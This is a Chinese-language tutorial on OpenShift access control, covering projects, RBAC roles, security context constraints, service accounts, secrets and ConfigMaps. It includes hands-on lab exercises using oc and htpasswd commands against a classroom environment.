005.OpenShift訪問控制-權限-角色

一 Kubetcl namespace

1.1 namespace描述


Kubernetes namespace提供了將一組相關資源組合在一起的機制。在Red Hat OpenShift容器平台中,project是一個帶有附加註釋的Kubernetes namespace。

namespace提供以下特性:

  1. 命名資源,以避免基本的命名衝突;
  2. 將管理權限授予受信任的用戶;
  3. 限制用戶資源消耗的能力;
  4. 用戶和用戶組隔離。

1.2 project


project提供了一種機制,通過這種機制可以管理普通用戶對資源的訪問。project允許一組用戶獨立於其他組組織和管理其內容,必須允許用戶訪問項目。如果允許創建項目,用戶將自動訪問自己的項目。

項目可以有單獨的name、display name和description。

name是項目的唯一標識符,在使用CLI工具或API時都是基於name,name的最大長度為63個字符。

display name是項目在web控制台中显示的方式(默認為name)。

description是項目的更詳細描述,並且在web控制台中也可見。

以下組件適用於項目:

  • Object:pod、service、rc等;
  • Policies:決定用戶可以或不能對對象執行哪些操作的規則;
  • Constraints:可以限制的每種對象的配額。

1.3 cluster管理


集群管理員可以創建項目並將項目的管理權限委託給任何用戶。在OpenShift容器平台中,項目用於對相關對象進行分組和隔離。

管理員可以讓用戶訪問某些項目,允許他們創建自己的項目,並在單個項目中賦予他們管理權限。

管理員可以將角色應用於允許或限制其創建項目能力的用戶和組,同時可以在用戶初始登錄之前分配角色。

限制項目創建:從通過身份驗證的用戶和組中刪除self-provisioning集群角色,將拒絕任何新項目的權限。

[root@master ~]$ oc adm policy remove-cluster-role-from-group \

self-provisioner \

system:authenticated \

system:authenticated:oauth

授予項目創建:項目創建授予具有self-供應者角色和self-provisione集群角色綁定的用戶。默認情況下,所有經過身份驗證的用戶都可以使用這些角色。

[root@master ~]$ oc adm policy add-cluster-role-to-group \

self-provisioner \

system:authenticated \

system:authenticated:oauth

1.4 創建project


如果項目創建權限被授予用戶,則可以使用oc命令創建project。

[root@master ~]$ oc new-project demoproject \

–description=”Demonstrate project creation” \

–display-name=”demo_project”

二 OpenShift角色

2.1 角色概述


role具有不同級別的訪問和策略,包括集群和本地策略。user和group可以同時與多個role關聯。運行oc description命令查看角色及其綁定的詳細信息。

在集群策略中具有cluster-admin缺省角色的用戶可以查看集群策略和所有本地策略。在給定的本地策略中具有admin缺省角色的用戶可以基於per-project查看策略。

可通過以下命令查看當前的集群綁定集,其中显示綁定到不同角色的用戶和組。

[root@demo ~]# oc describe clusterPolicyBindings :default

2.2 查看本地policy


儘管本地角色列表及其關聯的規則集在本地策略中是不可查看的,但是所有缺省角色仍然適用,並且可以添加到用戶或組中,cluster-admin缺省角色除外。但是,本地綁定是可見的。

可通過以下命令查看當前的本地綁定,其中显示綁定到不同角色的用戶和組。

[root@demo ~]# oc describe policyBindings :default

提示:默認情況下,在本地策略中,只會列出admin角色的綁定。但是,如果將其他默認角色添加到本地策略中的用戶和組,也會列出它們。

2.3 管理role綁定


向用戶或組添加或綁定角色,從而實現向用戶或組提供角色授予的相關訪問權限。可以使用oc adm policy命令在用戶和組之間添加和刪除角色。

當使用以下操作管理本地策略的用戶和組角色時,可以使用-n選項指定項目。如果沒有指定,則使用當前項目。

常見管理本地策略操作:





























命令 描述
oc adm policy who-can verb resource 設置哪些用戶可以對資源執行操作
oc adm policy add-role-to-user role username 將指定角色綁定到指定用戶
oc adm policy remove-role-from-user role username 從指定用戶中移除給定角色
oc adm policy remove-user username 刪除指定的用戶及其所有角色
oc adm policy add-role-to-group role groupname 將指定的角色綁定到指定的組
oc adm policy remove-role-fromgroup role groupname 從指定組中移除給定角色
oc adm policy remove-group groupname 刪除指定的組及其所有角色


還可以使用如下所示的的操作管理cluster policy的role binding,這類命令不需要-n選項,因為cluster policy不在namespace級別上操作。

常見管理cluster policy操作:




















命令 描述
oc adm policy add-cluster-role-to-user role username 將集群中所有項目的指定角色綁定到指定用戶
oc adm policy remove-cluster-role-from-user role username 為集群中的所有項目從指定用戶中刪除指定角色
oc adm policy add-cluster-role-togroup role groupname 為集群中的所有項目將指定的角色綁定到指定的組
oc adm policy remove-cluster-role-from-group role groupname 從集群中所有項目的指定組中移除給定角色


提示:oc policy命令應用於當前項目,而oc adm policy命令應用於集群範圍的操作。

示例:在example項目中為developer用戶提供admin角色。

[root@demo ~]# oc adm policy add-role-to-user admin developer -n example

[root@demo ~]# oc describe policybindings :default -n example #檢查綁定

三 安全上下文約束(SCCS)

3.1 SCCS概述


OpenShift提供安全上下文約束(SCCS),它控制pod可以執行的操作和它可以訪問的資源。默認情況下,任何容器的執行都只授予受限制的SCC定義的功能。

SCCS相關命令:

  1 [user@demo ~]$ oc get scc			                        #列出可用的SCC
  2 [user@demo ~]$ oc describe scc scc_name		                #現實特定SCC詳細信息
  3 [user@demo ~]$ oc adm policy add-scc-to-user scc_name user_name
  4 [user@demo ~]$ oc adm policy add-scc-to-group scc_name group_name	#要授予用戶或組特定的SCC
  5 [user@demo ~]$ oc adm policy remove-scc-from-user scc_name user_name
  6 [user@demo ~]$ oc adm policy remove-scc-from-group scc_name group_name	#從特定的SCC中刪除用戶或組


四 服務賬戶

4.1 服務賬戶


service account提供了一種靈活的方法來控制API訪問,而無需共享常規用戶的憑據。如果應用程序需要訪問受限制的SCC未授予的功能,可創建一個新的、特定的service account並將其添加到適當的SCC中。

例如,在缺省情況下,OpenShift不支持部署需要提升特權的應用程序。若有此需求,可創建一個service account,修改dc,然後添加service account至SCC。

示例:將anyuid配置為在容器中作為root用戶運行。

[user@demo ~]$ oc create serviceaccount useroot #創建一個名為useroot的新服務帳戶

[user@demo ~]$ oc patch dc/demo-app \

–patch ‘{“spec”:{“template”:{“spec”:{“serviceAccountName”: “useroot”}}}}’ #修改應用程序的DC

[user@demo ~]$ oc adm policy add-scc-to-user anyuid -z useroot #將useroot服務帳戶添加到anyuid SCC中,作為容器中的根用戶運行

4.2 Web管理user成員


OCP平台的默認配置是,在用戶首次登錄成功時,自動創建該用戶對象。

要管理允許訪問項目的用戶,請以項目管理員或集群管理員的身份登錄到web控制台,並選擇要管理的項目。在左側窗格中,單擊Resources——>membership進入項目member頁面。

在Users列中,在突出显示的文本框中輸入用戶名。在“添加另一個角色”列中,從用戶所在行的列表中選擇一個角色,然後單擊“添加”。

4.3 Cli管理user成員


CLI中如果自動創建對象功能被關閉,集群管理員可通過如下方式創建新用戶:

[root@master ~]$ oc create user demo-user

同時還需要在身份認證軟件中創建用戶,如為HTPasswdIdentityProvider才用戶命令如下:

[root@master ~]$ htpasswd /etc/origin/openshift-passwd demo-user

要向用戶添加項目角色,首先使用oc project命令輸入項目,然後使用oc policy add-role-to-user命令:

[root@master ~]$ oc policy add-role-to-user edit demo-user

要從用戶中刪除項目角色,使用oc policy remove-role-from-user命令:

[root@master ~]$ oc policy remove-role-from-user edit demo-user

並不是所有OpenShift角色都由項目限定範圍。要分配這些規則,請使用oc adm policy command命令。

[root@master ~]$ oc adm policy add-cluster-role-to-user cluster-admin admin

4.4 身份驗證和授權


身份驗證層標識與對OpenShift容器平台API的請求相關聯的用戶,然後授權層使用關於請求用戶的身份信息來確定是否應該允許該請求。

  • user和group


OCP容器平台中的用戶是一個可以向OpenShift API發出請求的實體。通常,這表示與OpenShift交互的develop或administrator的帳戶。

可以將用戶分配給一個或多個組,每個組表示一組特定的角色(或權限)。當需要通過管理授權策略給多個客戶授權時候,group會比較合適。例如允許訪問項目中的對象,而不是單獨授予用戶。

  • Authentication Tokens


API調用必須使用訪問令牌或X.509證書進行身份驗證,會話token表示用戶,並且是短期的,默認情況下在24小時內到期。

可以通過運行oc whoami命令來驗證經過身份驗證的用戶。

[root@master ~]$ oc login -u demo-user

[root@master ~]$ oc whoami

demo-user

4.5 身份驗證類型


本環境中,身份驗證由HTPasswdIdentityProvider模塊提供,該模塊根據使用htpasswd命令生成的文件驗證用戶名和密碼。

OpenShift容器平台支持的其他認證類型包括:

  • Basic Authentication (Remote)


一種通用的後端集成機制,允許用戶使用針對遠程標識提供者驗證的憑據登錄到OpenShift容器平台。用戶將他們的用戶名和密碼發送到OpenShift容器平台,OpenShift平台通過到服務器的請求驗證這些憑據,並將憑據作為基本的Auth頭傳遞。這要求用戶在登錄過程中向OpenShift容器平台輸入他們的憑據。

  • Request Header Authentication


用戶使用請求頭值(如X-RemoteUser)登錄到OpenShift容器平台。它通常與身份驗證代理結合使用,身份驗證代理對用戶進行身份驗證,然後通過請求頭值為OpenShift容器平台提供用戶標識。

  • Keystone Authentication


Keystone是一個OpenStack項目,提供標識、令牌、目錄和策略服務。OpenShift容器平台與Keystone集成,通過配置OpenStack Keystone v3服務器將用戶存儲在內部數據庫中,從而支持共享身份驗證。這種配置允許用戶使用Keystone憑證登錄OpenShift容器平台。

  • LDAP Authentication


用戶使用他們的LDAP憑證登錄到OpenShift容器平台。在身份驗證期間,LDAP目錄將搜索與提供的用戶名匹配的條目。如果找到匹配項,則嘗試使用條目的專有名稱(DN)和提供的密碼進行簡單綁定。

  • GitHub Authentication


GitHub使用OAuth,它允許與OpenShift容器平台集成使用OAuth身份驗證來促進令牌交換流。這允許用戶使用他們的GitHub憑證登錄到OpenShift容器平台。為了防止使用GitHub用戶id的未授權用戶登錄到OpenShift容器平台集群,可以將訪問權限限制在特定的GitHub組織中。

五 管理項目及賬戶

5.1 前置準備


準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

5.2 本練習準備


[student@workstation ~]$ lab secure-resources setup

5.3 創建htpasswd賬戶

  1 [kiosk@foundation0 ~]$ ssh root@master
  2 [root@master ~]# htpasswd -b /etc/origin/master/htpasswd user1 redhat
  3 [root@master ~]# htpasswd -b /etc/origin/master/htpasswd user2 redhat
  4 #添加基於htpasswd形式的user1和user2,密碼都為redhat。


5.4 設置策略

  1 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com	#使用管理員登錄
  2 [student@workstation ~]$ oc adm policy remove-cluster-role-from-group \
  3 self-provisioner system:authenticated:oauth
  4 #刪除所有賦予普通創建項目的功能,該命令可參考本環境如下目錄中的命令。
  5 [student@workstation ~]$ cat /home/student/DO280/labs/secure-resources/configure-policy.sh
  6 #!/bin/bash
  7 oc adm policy remove-cluster-role-from-group \
  8     self-provisioner system:authenticated system:authenticated:oauth


5.5 驗證策略

  1 [student@workstation ~]$ oc login -u user1 -p redhat https://master.lab.example.com	#使用普通用戶user1登錄
  2 [student@workstation ~]$ oc new-project test					#測試創建project
  3 Error from server (Forbidden): You may not request a new project via this API.


5.6 創建項目

  1 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com	#使用集群管理員登錄
  2 [student@workstation ~]$ oc new-project project-user1				#創建兩個項目
  3 [student@workstation ~]$ oc new-project project-user2


5.7 將項目與user關聯

  1 #選擇項目1
  2 Now using project "project-user1" on server "https://master.lab.example.com:443".
  3 [student@workstation ~]$ oc policy add-role-to-user admin user1		#將user1添加為項目1的管理員
  4 role "admin" added: "user1"
  5 [student@workstation ~]$ oc policy add-role-to-user edit user2		#將user2添加為項目1的開發員
  6 role "edit" added: "user2"
  7 
  8 [student@workstation ~]$ oc project project-user2			        #選擇項目2
  9 Now using project "project-user2" on server "https://master.lab.example.com:443".
 10 [student@workstation ~]$ oc policy add-role-to-user edit user2		#將user2添加為項目2的開發員
 11 role "edit" added: "user2"


5.8 驗證訪問

  1 [student@workstation ~]$ oc login -u user1 -p redhat https://master.lab.example.com	#使用user1登錄
  2 [student@workstation ~]$ oc project project-user1					#驗證項目1的訪問
  3 Already on project "project-user1" on server "https://master.lab.example.com:443".
  4 [student@workstation ~]$ oc project project-user2					#驗證項目2的訪問
  5 error: You are not a member of project "project-user2".
  6 You have one project on this server: project-user1
  7 
  8 [student@workstation ~]$ oc login -u user2 -p redhat https://master.lab.example.com	#使用user2登錄
  9 [student@workstation ~]$ oc project project-user1
 10 Already on project "project-user1" on server "https://master.lab.example.com:443".	#驗證項目1的訪問
 11 [student@workstation ~]$ oc project project-user2
 12 Now using project "project-user2" on server "https://master.lab.example.com:443".	#驗證項目2的訪問


5.9 部署特權應用

  1 [student@workstation ~]$ oc login -u user2 -p redhat https://master.lab.example.com
  2 [student@workstation ~]$ oc project project-user1
  3 Now using project "project-user1" on server "https://master.lab.example.com:443".
  4 [student@workstation ~]$ oc new-app --name=nginx --docker-image=registry.lab.example.com/nginx:latest
  5 #使用在項目1上不具備admin權限的用戶user2登錄,並部署應用,會出現如下提示:





5.10 驗證部署

  1 [student@workstation ~]$ oc get pods




結論:由上可知,部署失敗是因為容器映像需要root用戶,pod以CrashLoopBackOff或錯誤狀態結束。

5.11 故障排除


若要解決此故障需要減少特定項目的安全限制。

要使用特權訪問運行容器,可創建一個允許pod使用操作系統普通用戶運行的service account。

如下部分需要具有項目管理員特權的用戶執行,而另一些操作需要具有集群管理員特權的用戶執行。

本環境中,相關操作命令可以從/home/student/DO280/labs/secure-resources文件夾中的configure-sc.sh腳本運行或複製。

  1 [student@workstation ~]$ oc login -u user1 -p redhat https://master.lab.example.com	#使用項目1的admin賬戶登錄 
  2 [student@workstation ~]$ oc create serviceaccount useroot		  #創建服務賬戶
  3 serviceaccount "useroot" created
  4 [student@workstation ~]$ oc login -u admin -p redhat https://master.lab.example.com	#使用集群管理員登錄
  5 [student@workstation ~]$ oc project project-user1			  #選擇項目1
  6 Already on project "project-user1" on server "https://master.lab.example.com:443".
  7 [student@workstation ~]$ oc adm policy add-scc-to-user anyuid -z useroot  #設置SCC策略
  8 scc "anyuid" added to: ["system:serviceaccount:project-user1:useroot"]    #將服務帳戶與anyuid安全上下文關聯,此操作需要集群管理員用戶。
  9 [student@workstation ~]$ oc login -u user2 -p redhat https://master.lab.example.com	#切換user2用戶
 10 [student@workstation ~]$ oc project project-user1
 11 Already on project "project-user1" on server "https://master.lab.example.com:443".
 12 [student@workstation ~]$ oc patch dc nginx --patch='{"spec":{"template":{"spec":{"serviceAccountName": "useroot"}}}}'



#更新負責管理nginx的dc資源,任何開發人員用戶都可以執行此操作。本環境中,相關操作命令可以從/home/student/DO280/labs/secure-resources文件夾中的configure-sc.sh腳本運行或複製。

5.12 驗證確認

  1 [student@workstation ~]$ oc get pods
  2 NAME            READY     STATUS    RESTARTS   AGE
  3 nginx-2-98k8f   1/1       Running   0          3m
  4 

5.13 暴露服務

  1 [student@workstation ~]$ oc expose svc nginx
  2 route "nginx" exposed
  3 [student@workstation ~]$ oc get svc
  4 NAME      TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)   AGE
  5 nginx     ClusterIP   172.30.118.63   <none>        80/TCP    13m
  6 [student@workstation ~]$ oc get route
  7 NAME      HOST/PORT                                  PATH      SERVICES   PORT      TERMINATION   WILDCARD
  8 nginx     nginx-project-user1.apps.lab.example.com             nginx      80-tcp                  None


5.14 測試訪問

  1 [student@workstation ~]$ curl -s http://nginx-project-user1.apps.lab.example.com

5.15 策略刪除演示

  1 [student@workstation ~]$ oc login -u admin -p redhat
  2 [student@workstation ~]$ oc adm policy add-cluster-role-to-group self-provisioner system:authenticated system:authenticated:oauth
  3 cluster role "self-provisioner" added: ["system:authenticated" "system:authenticated:oauth"]
  4 [student@workstation ~]$ oc delete project project-user1
  5 project "project-user1" deleted
  6 [student@workstation ~]$ oc delete project project-user2
  7 [root@master ~]# htpasswd -D /etc/origin/master/htpasswd user1 
  8 [root@master ~]# htpasswd -D /etc/origin/master/htpasswd user2


#為所有常規用戶重新啟用項目創建,即重置為初始狀態。本環境中,相關操作命令可以從/home/student/DO280/labs/secure-resources文件夾中的restore-policy.sh腳本運行或複製。

六 管理加密信息

6.1 secret特性


Secret對象類型提供了一種機制來保存敏感信息,如密碼、OCP客戶端配置文件、Docker配置文件和私有倉庫憑據。Secrets將敏感內容與Pod解耦。可以使用Volume插件將Secrets掛載到容器上,或者系統可以使用Secrets代表pod執行操作。

Secrets的主要特徵包括:

  • Secrets data可以獨立於其定義引用。
  • Secrets data Volume由臨時文件存儲支持。
  • 可以在名稱空間中共享Secrets data。

6.2 創建Secrets


在依賴於該Secrets的pod之前創建一個Secrets。

  1 [user@demo ~]$ oc create secret generic secret_name \
  2 --from-literal=key1=secret1 \
  3 --from-literal=key2=secret2	#用secret data創建secret對象
  4 [user@demo ~]$ oc secrets add --for=mount serviceaccount/serviceaccount-name \
  5 secret/secret_name		#更新pod的服務帳戶,允許引用該secrets。

例如,允許一個運行在指定服務帳戶下的pod掛載一個secrets

創建一個pod,該pod使用環境變量或數據卷作為文件的方式使用該secret,通常使用模板完成。

6.3 使用secret暴露Pod


secrets可以作為數據卷掛載,也可以作為環境變量以便供pod中的容器使用。

例如,要向pod公開一個secrets,首先創建一個secrets並將username和password以k/v形式配置,然後將鍵名分配給pod的YAML文件env定義。

示例:創建名為demo-secret的secrets,它定義用戶名和密碼為username/demo-user。

[user@demo ~]$ oc create secret generic demo-secret \

–from-literal=username=demo-user

要使用前面的secret作為MySQL數據庫pod的數據庫管理員密碼,請定義環境變量,並引用secret名稱和密碼。

  1 env:
  2   - name: MYSQL_ROOT_PASSWORD
  3     valueFrom:
  4       secretKeyRef:
  5        key: username
  6        name: demo-secret


6.4 web端管理secret


從web控制台管理secret:

1. 以授權用戶身份登錄到web控制台。

2. 創建或選擇一個項目來承載secret。

3. 導航到resource——>secrets。

6.5 Secret使用場景


  • password和user names


敏感信息(如password和user name)可以存儲在一個secret中,該secret被掛載為容器中的數據卷。數據显示為位於容器的數據卷目錄中的文件中的內容。然後,應用程序(如數據庫)可以使用這些secret對用戶進行身份驗證。

  • 傳輸層安全性(TLS)和密鑰對


通過讓集群將簽名證書和密鑰對生成到項目名稱空間中的secret中,可以實現對服務的通信的保護。證書和密鑰對使用PEM格式存儲以類似tls.crt和tls.key的格式存儲在secret的pod中。

七 ConfigMap對象

7.1 ConfigMap概述


ConfigMaps對象類似於secret,但其設計目的是支持處理不包含敏感信息的字符串。ConfigMap對象持有配置數據的鍵值對,這些配置數據可以在pods中使用,或者用於存儲系統組件(如控制器)的配置數據。

ConfigMap對象提供了將配置數據注入容器的機制。ConfigMap存儲精細的粒度信息,比如單個屬性,或者詳細信息,比如整個配置文件或JSON blob。

7.2 CLI創建ConfigMap


可以使用–from-literal選項從CLI創建ConfigMap對象。

示例:創建一個ConfigMap對象,該對象將IP地址172.20.30.40分配給名為serverAddress的ConfigMap密鑰。

  1 [user@demo ~]$ oc create configmap special-config \
  2 --from-literal=serverAddress=172.20.30.40
  3 [user@demo ~]$ oc get configmaps special-config -o yaml		#查看configMap
  4 apiVersion: v1
  5 data:
  6   key1: serverAddress=172.20.30.40
  7 kind: ConfigMap
  8 metadata:
  9   creationTimestamp: 2017-07-10T17:13:31Z
 10   name: special-config
 11 ……
 12 在配置映射的pod定義中填充環境變量APISERVER。
 13 env:
 14   - name: APISERVER
 15       valueFrom:
 16         configMapKeyRef:
 17           name: special-config
 18           key: serverAddress


7.3 web管理ConfigMap


從web控制台管理ConfigMap對象:

1. 以授權用戶身份登錄到web控制台。

2. 創建或選擇一個項目來承載ConfigMap。

3. 導航到資源→配置映射。

八 加密練習

8.1 前置準備


準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

8.2 本練習準備


[student@workstation ~]$ lab secure-secrets setup

8.3 創建項目

  1 [student@workstation ~]$ oc login -u developer -p redhat
  2 [student@workstation ~]$ cd /home/student/DO280/labs/secure-secrets/
  3 [student@workstation secure-secrets]$ less mysql-ephemeral.yml		#導入本環境MySQL模板







模板解讀:

該mysql-ephemeral.yml模板文件,包含openshift項目中的mysql臨時模板,pod所需的其他環境變量由模板參數初始化,並具有默認值。

但沒有secret定義,後續操作將手動創建模板所需的secret。

根據模板的要求,創建一個包含MySQL容器image使用的憑證的secret,將這個secret命名為mysql。

  • 應用程序訪問的數據庫用戶名由database-user定義。
  • 數據庫用戶的密碼由database-password定義。
  • 數據庫管理員密碼由database-root-password定義

8.4 創建新secret

  1 [student@workstation secure-secrets]$ oc create secret generic mysql \
  2 --from-literal='database-user'='mysql' \
  3 --from-literal='database-password'='redhat' \
  4 --from-literal='database-root-password'='do280-admin'
  5 [student@workstation secure-secrets]$ oc get secret mysql -o yaml	#確認secret




8.5 創建應用

  1 [student@workstation secure-secrets]$ oc new-app --file=mysql-ephemeral.yml
  2 [student@workstation secure-secrets]$ oc get pods		#確認應用
  3 NAME            READY     STATUS    RESTARTS   AGE
  4 mysql-1-j4fnz   1/1       Running   0          1m


8.6 端口轉發

  1 [student@workstation secure-secrets]$ cd
  2 [student@workstation ~]$ oc port-forward mysql-1-j4fnz 3306:3306



提示:驗證完成之前forward不要關閉。

8.7 確認驗證

  1 [student@workstation ~]$ mysql -uroot -pdo280-admin -h127.0.0.1	#新開終端測試MySQL



九 管理security policy

9.1 OCP authorization授權


OCP定義了用戶可以執行的兩組主要操作:

與項目相關的操作(也稱為本地策略):project-related

與管理相關的操作(也稱為集群策略):administration-related

由於這兩種策略都有大量可用的操作,所以將一些操作分組並定義為角色。














默認角色 描述
cluster-admin 此角色中的所有用戶都可以管理OpenShift集群。
cluster-status 此角色中的所有用戶都提供對集群信息的只讀訪問。


為管理本地政策,OCP提供以下角色:




















默認角色 描述
edit 角色中的用戶可以從項目中創建、更改和刪除公共應用程序資源,比如service和dc。 但是不能對限制範圍和配額等管理資源採取行動,也不能管理對項目的訪問權限。
basic-user 角色中的用戶具有對項目的讀訪問權。
self-provisioner 角色中的用戶可以創建新項目。這是一個集群角色,而不是項目角色。
admin 角色中的用戶可以管理項目中的所有資源,包括授予對項目的其他用戶的訪問權


除了能夠創建新應用程序之外,admin角色還允許用戶訪問項目資源,比如配額和限制範圍。

edit角色允許用戶在項目中充當開發人員,但要在項目管理員配置的約束下工作。

9.2 相關命令

  1 向集群用戶添加角色
  2 $ oc adm policy add-cluster-role-to-user cluster-role username
  3 示例:將普通用戶更改為集群管理員。
  4 $ oc adm policy add-cluster-role-to-user cluster-role username
  5 從用戶中刪除集群角色
  6 $ oc adm policy remove-cluster-role-from-user cluster-role username
  7 示例:將集群管理員更改為普通用戶。
  8 $ oc adm policy remove-cluster-role-from-user cluster-admin username
  9 將指定的用戶綁定到項目中的角色
 10 $ oc adm policy add-role-to-user role-name username -n project
 11 示例:在WordPress項目中dev用戶綁定basic-user角色。
 12 $ oc adm policy add-role-to-user basic-user dev -n wordpress


9.3 權限及規則


OpenShift將一組規則集合成一個角色,規則由謂詞和資源定義。如create user是OpenShift中的一條規則,它是一個名為cluster-admin的角色的所擁有的權限的一部分。

  1 $ oc adm policy who-can delete user

9.4 user類型


與OCP的交互基於用戶,OCP的user對象表示可以通過向該用戶或用戶組添加角色來從而實現相應權限的授予。

Regular users:通常以這種用戶類型與OCP交互,常規用戶用User對象表。例如,user1,user2。

System users:通常在安裝OCP中定義基礎設施時自動創建的,主要目的是使基礎設施能夠安全地與API交互。包括集群管理員(可以訪問所有內容)、每個節點的用戶、路由器和內部倉庫使用的用戶,以及各種其他用戶。還存在一個匿名系統用戶,默認情況下,該用戶用於未經身份驗證的請求。system user主要包括:system:admin、system:openshift-registry和system:node:node1.example.com。

Service accounts:這些是與項目關聯的特殊系統用戶。有些是在第一次創建項目時自動創建的,項目管理員可以創建多個,以便定義對每個項目內容的訪問。Service accounts由ServiceAccount對象表示。Service accounts主要包括:system:serviceaccount:default:deployer和system:serviceaccount:foo:builder。

每個用戶在訪問OpenShift容器平台之前必須進行身份驗證。沒有身份驗證或身份驗證無效的API請求將使用匿名系統用戶身份驗證來請求服務。身份驗證成功后,策略確定用戶被授權做什麼。

9.5 安全上下文約束(SCCS)


OpenShift提供了一種名為安全上下文約束的安全機制,它限制對資源的訪問,但不限制OpenShift中的操作。

SCC限制從OpenShift中運行的pod到主機環境的訪問:

  • 運行特權容器
  • 請求容器的額外功能
  • 使用主機目錄作為卷
  • 更改容器的SELinux上下文
  • 更改用戶ID


社區開發的一些容器可能需要放鬆安全上下文約束,因為它們可能需要訪問默認禁止的資源,例如文件系統、套接字或訪問SELinux上下文。

OpenShift定義的安全上下文約束(SCCs)可以使用以下命令作為集群管理員列出。

$ oc get scc

SCC通常有以下7中SCCS:

  • anyuid
  • hostaccess
  • hostmount-anyuid
  • nonroot
  • privileged
  • restricted(默認)


$ oc describe scc anyuid #查看某一種SCC詳情

OpenShift創建的所有容器都使用restricted類型的SCC,它提供了對OpenShift外部資源的有限訪問。

對於anyuid安全上下文,run as user策略被定義為RunAsAny,表示pod可以作為容器中可用的任何用戶ID運行。這允許需要特定用戶使用特定用戶ID運行命令的容器。

要將容器更改為使用不同的SCC運行,需要創建綁定到pod的服務帳戶。

$ oc create serviceaccount service-account-name #首先創建服務賬戶

$ oc adm policy add-scc-to-user SCC -z service-account #將服務帳戶與SCC關聯

要確定哪個帳戶可以創建需要更高安全性要求的pod,可以使用scc-subject-review子命令。

$ oc export pod pod-name > output.yaml

$ oc adm policy scc-subject-review -f output.yaml

9.6 OpenShift與SELinux


OpenShift要求在每個主機上啟用SELinux,以便使用強制訪問控制提供對資源的安全訪問。同樣,由OpenShift管理的Docker容器需要管理SELinux上下文,以避免兼容性問題。

為了最小化在不支持SELinux的情況下運行容器的風險,可以創建SELinux上下文策略。

為了更新SELinux上下文,可以使用現有的SCC作為起點生成一個新的SCC。

$ oc export scc restricted > custom_selinux.yml #導出默認的SCC

編輯導出的YAML文件以更改SCC名稱和SELinux上下文。

$ oc create -f yaml_file #使用修改后的ymal重新創建一個SCC

9.7 特權容器


有些容器可能需要訪問主機的運行時環境。S2I構建器容器需要訪問宿主docker守護進程來構建和運行容器。

例如,S2I構建器容器是一類特權容器,它要求訪問超出其自身容器的限制。這些容器可能會帶來安全風險,因為它們可以使用OpenShift節點上的任何資源。通過創建具有特權訪問權的服務帳戶,可以使用SCCs啟用特權容器的訪問。

十 資源訪問控制綜合實驗

10.1 前置準備


準備完整的OpenShift集群,參考《003.OpenShift網絡》2.1。

10.2 本練習準備

  1 [student@workstation ~]$ lab secure-review setup

10.3 創建用戶

  1 [root@master ~]# htpasswd /etc/origin/master/htpasswd user-review
  2 New password: 【redhat】
  3 Re-type new password: 【redhat】


10.4 修改策略

  1 [student@workstation ~]$ oc login -u admin -p redhat
  2 [student@workstation ~]$ oc adm policy remove-cluster-role-from-group \
  3 self-provisioner system:authenticated system:authenticated:oauth
  4 禁用所有常規用戶的項目創建功能


10.5 確認驗證

  1 [student@workstation ~]$ oc login -u user-review -p redhat
  2 [student@workstation ~]$ oc new-project test			#普通用戶無法創建項目
  3 Error from server (Forbidden): You may not request a new project via this API.


10.6 創建項目

  1 [student@workstation ~]$ oc login -u admin -p redhat
  2 [student@workstation ~]$ oc new-project secure-review		#使用管理員創建項目


10.7 授權用戶

  1 [student@workstation ~]$ oc project secure-review
  2 Already on project "secure-review" on server "https://master.lab.example.com:443".
  3 [student@workstation ~]$ oc policy add-role-to-user edit user-review	#將edit的role和user-review進行關聯


10.8 測試訪問

  1 [student@workstation ~]$ oc login -u user-review -p redhat
  2 [student@workstation ~]$ oc project secure-review		#測試訪問
  3 Already on project "secure-review" on server "https://master.lab.example.com:443".


10.9 檢查模板

  1 [student@workstation ~]$ cd /home/student/DO280/labs/secure-review/
  2 [student@workstation secure-review]$ less mysql-ephemeral.yml





模板解讀:

該mysql-ephemeral.yml模板文件,包含openshift項目中的mysql臨時模板,pod所需的其他環境變量由模板參數初始化,並具有默認值。

但沒有secret定義,後續操作將手動創建模板所需的secret。

根據模板的要求,創建一個包含MySQL容器image使用的憑證的secret,將這個secret命名為mysql。

  • 應用程序訪問的數據庫用戶名由database-user定義。
  • 數據庫用戶的密碼由database-password定義。
  • 數據庫管理員密碼由database-root-password定義


使用user-review developer用戶創建一個名為mysql的secret。這個secret應該存儲用戶名mysql、密碼redhat和數據庫管理員密碼do280-admin。

數據庫用戶名由database-user定義。此用戶的密碼由mysql secret密鑰定義。

數據庫管理員密碼由database-root-password定義。

10.10 創建secret

  1 [student@workstation secure-review]$ oc create secret generic mysql \
  2 --from-literal='database-user'='mysql' \
  3 --from-literal='database-password'='redhat' \
  4 --from-literal='database-root-password'='do280-admin'
  5 [student@workstation secure-review]$ oc get secret mysql -o yaml	#確認驗證secret


10.11 部署應用

  1 [student@workstation secure-review]$ oc new-app --file=mysql-ephemeral.yml
  2 [student@workstation secure-review]$ oc get pods
  3 NAME            READY     STATUS    RESTARTS   AGE
  4 mysql-1-2lr7t   1/1       Running   0          31s


10.12 轉發端口

  1 [student@workstation ~]$ oc port-forward mysql-1-2lr7t 3306:3306

10.13 測試訪問

  1 [student@workstation ~]$ mysql -umysql -predhat -h127.0.0.1

10.14 部署phpmyadmin應用


使用內部倉庫registry.lab.example.com的image部署phpmyadmin:4.7容器。phpmyadmin:4.7容器需要名為PMA_HOST的環境變量來提供MySQL服務器的IP地址。

使用模板創建一個基於FQND的MySQL pod的service。

為使用模板創建的MySQL服務器pod使用服務FQDN,該模板是mysql.secure-review.svc.cluster.local。

  1 [student@workstation ~]$ oc new-app --name=phpmyadmin \
  2 --docker-image=registry.lab.example.com/phpmyadmin/phpmyadmin:4.7 \
  3 -e PMA_HOST=mysql.secure-review.svc.cluster.local






結論:該命令會發出警告,提示需要root特權。默認情況下,OpenShift不支持使用操作系統的root用戶運行容器。

10.15 查看pod

  1 [student@workstation ~]$ oc get pods
  2 NAME                 READY     STATUS    RESTARTS   AGE
  3 mysql-1-2lr7t        1/1       Running   0          8m
  4 phpmyadmin-1-v7tl7   0/1       Error     2          1m
  5 因為沒有root權限,因此部署失敗,需要提權。


10.16 授予權限

  1 [student@workstation ~]$ oc login -u admin -p redhat			#使用管理員登錄
  2 [student@workstation ~]$ oc create serviceaccount phpmyadmin-account	#首先創建服務賬戶
  3 [student@workstation ~]$ oc adm policy add-scc-to-user anyuid -z phpmyadmin-account
  4 scc "anyuid" added to: ["system:serviceaccount:secure-review:phpmyadmin-account"]	#將服務帳戶與anyuid安全上下文關聯


